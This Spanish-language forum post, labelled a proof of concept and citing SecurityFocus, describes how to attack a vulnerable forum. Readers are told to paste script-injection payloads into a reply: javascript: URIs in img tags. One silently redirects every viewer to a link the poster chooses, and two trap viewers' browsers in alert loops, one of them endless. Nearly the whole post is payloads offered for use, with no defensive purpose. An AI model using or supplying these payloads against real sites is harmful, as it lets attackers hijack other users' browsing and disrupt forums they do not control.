Autor
POC:
Buscamos un foro vulnerable, ingresamos en cualquier topic y contestamos cualquier post.
En la caja de contestacion podemos poner cualquiera de los siguientes codigos:
Código:
<img src="javascript:void(window.location=('imagelink'))">remplazamos ¨imagelink¨por el link de la imagen que va a redireccionar a los user que vean la misma
Código:
<img src="javascript:a=100;while(a>=0){alert(a);a--}">
Código:
<img src="javascript:a=1;while(a>0){alert("sup?")">
Fuente:securityfocus
Salu2
En línea
